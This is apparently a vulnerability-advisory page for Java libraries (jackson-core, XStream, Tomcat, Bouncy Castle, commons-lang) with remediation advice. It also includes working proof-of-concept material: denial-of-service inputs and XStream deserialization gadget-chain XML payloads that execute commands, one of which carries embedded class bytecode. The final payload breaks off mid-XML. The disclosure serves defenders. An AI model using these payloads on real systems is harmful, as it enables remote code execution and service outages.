Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the ClassUtils.getClass function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.

Remediation

There is no fixed version for commons-lang:commons-lang.

References

• Apache Pony Mail
• GitHub Commit

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to a manipulated binary input stream. An attacker can terminate the application with a stack overflow error resulting in a denial of service by manipulating the processed input stream when configured to use the BinaryStreamDriver.

Workaround

This vulnerability can be mitigated by catching the StackOverflowError in the client code calling XStream.

PoC

Prepare the manipulated data and provide it as input for a XStream instance using the BinaryDriver:

final byte[] byteArray = new byte[36000];
for (int i = 0; i < byteArray.length / 4; i++) {
      byteArray[i * 4] = 10;
      byteArray[i * 4 + 1] = -127;
      byteArray[i * 4 + 2] = 0;
      byteArray[i * 4 + 3] = 0;
}

XStream xstream = new XStream(new BinaryStreamDriver());
xstream.fromXML(new ByteArrayInputStream(byteArray));

As soon as the data gets unmarshalled, the endless recursion is entered and the executing thread is aborted with a stack overflow error.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.21 or higher.

References

• GitHub Commit
• GitHub Commit
• XStream Advisory

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the WebDAV LOCK and PROPFIND XML request bodies. An attacker can cause excessive resource consumption by sending specially crafted requests that trigger unbounded reads.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.118, 10.1.55, 11.0.22 or higher.

References

• Apache Mailing List
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm due to the generateCTR process in G3413CTRBlockCipher. An attacker can recover relationships between encrypted plaintext blocks by driving the cipher past its counter range and causing the counter to wrap, which makes the stream repeat and produces identical ciphertext for different blocks. This breaks the confidentiality of data protected with G3413CTRBlockCipher and can expose plaintext patterns or allow plaintext recovery when the same key and IV are reused across enough blocks.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.84 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Wiki

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that can execute arbitrary shell commands.

This issue is a variation of CVE-2013-7285, this time using a different set of classes of the Java runtime environment, none of which is part of the XStream default blacklist. The same issue has already been reported for Strut's XStream plugin in CVE-2017-9805, but the XStream project has never been informed about it.

PoC

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

Note: 1.4.14-jdk7is optimised for OpenJDK 7, release 1.4.14 are compatible with other JDK projects.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.14 or higher.

References

• GitHub Commit
• PoC
• XStream advisory
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream, if using the version out of the box with Java runtime version 14 to 8 or with JavaFX installed. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='com.sun.java.util.jar.pack.PackageWriter$2'>
        <outer-class>
          <verbose>0</verbose>
          <effort>0</effort>
          <optDumpBands>false</optDumpBands>
          <optDebugBands>false</optDebugBands>
          <optVaryCodings>false</optVaryCodings>
          <optBigStrings>false</optBigStrings>
          <isReader>false</isReader>
          <bandHeaderBytePos>0</bandHeaderBytePos>
          <bandHeaderBytePos0>0</bandHeaderBytePos0>
          <archiveOptions>0</archiveOptions>
          <archiveSize0>0</archiveSize0>
          <archiveSize1>0</archiveSize1>
          <archiveNextCount>0</archiveNextCount>
          <attrClassFileVersionMask>0</attrClassFileVersionMask>
          <attrIndexTable class='com.sun.javafx.fxml.BeanAdapter'>
            <bean class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                <default>
                  <__name>Pwnr</__name>
                  <__bytecodes>
                    <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDU0MTY0NDMxMDIwMTkBACBMeXNvc2VyaWFsL1B3bmVyMjA1NDE2NDQzMTAyMDE5OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==</byte-array>
                    <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                  </__bytecodes>
                  <__transletIndex>-1</__transletIndex>
                  <__indentNumber>0</__indentNumber>
                </default>
              </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
            </bean>
            <localCache>
              <methods>
                <entry>
                  <string>getOutputProperties</string>
                  <list>
                    <method>
                      <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                      <name>getOutputProperties</name>
                      <parameter-types/>
                    </method>
                  </list>
                </entry>
              </methods>
            </localCache>
          </attrIndexTable>
          <shortCodeHeader__h__limit>0</shortCodeHeader__h__limit>
        </outer-class>
      </comparator>
    </default>
    <int>3</int>
    <string-array>
      <string>yxxx</string>
      <string>outputProperties</string>
    </string-array>
    <string-array>
      <string>yxxx</string>
    </string-array>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
        <owner/>
        <managedObjectManagerClosed>false</managedObjectManagerClosed>
        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
          <stubHandlers>
            <entry>
              <method>
                <class>java.lang.Comparable</class>
                <name>compareTo</name>
                <parameter-types>
                  <class>java.lang.Object</class>
                </parameter-types>
              </method>
              <com.sun.xml.internal.ws.client.sei.StubHandler>
                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                  <indices>
                    <int>0</int>
                  </indices>
                  <getters>
                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                  </getters>
                  <accessors>
                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                      <val_-isJAXBElement>false</val_-isJAXBElement>
                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                        <type>int</type>
                        <field>
                          <name>hash</name>
                          <clazz>java.lang.String</clazz>
                        </field>
                      </val_-getter>
                      <val_-isListType>false</val_-isListType>
                      <val_-n>
                        <namespaceURI/>
                        <localPart>hash</localPart>
                        <prefix/>
                      </val_-n>
                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                        <type>java.lang.String</type>
                        <method>
                          <class>javax.naming.InitialContext</class>
                          <name>doLookup</name>
                          <parameter-types>
                            <class>java.lang.String</class>
                          </parameter-types>
                        </method>
                      </val_-setter>
                      <outer-class>
                        <propertySetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field>
                                <name>serialPersistentFields</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>java.util.Comparator</type>
                              <field>
                                <name>CASE_INSENSITIVE_ORDER</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>long</type>
                              <field>
                                <name>serialVersionUID</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[C</type>
                              <field>
                                <name>value</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>int</type>
                              <field reference='../../../../../val_-getter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                        </propertySetters>
                        <propertyGetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>java.util.Comparator</type>
                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>long</type>
                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[C</type>
                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
                          </entry>
                        </propertyGetters>
                        <elementLocalNameCollision>false</elementLocalNameCollision>
                        <contentClass>java.lang.String</contentClass>
                        <elementDeclaredTypes/>
                      </outer-class>
                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                  </accessors>
                  <wrapper>java.lang.Object</wrapper>
                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
                  <dynamicWrapper>false</dynamicWrapper>
                </bodyBuilder>
                <isOneWay>false</isOneWay>
              </com.sun.xml.internal.ws.client.sei.StubHandler>
            </entry>
          </stubHandlers>
          <clientConfig>false</clientConfig>
        </databinding>
        <methodHandlers>
          <entry>
            <method reference='../../../databinding/stubHandlers/entry/method'/>
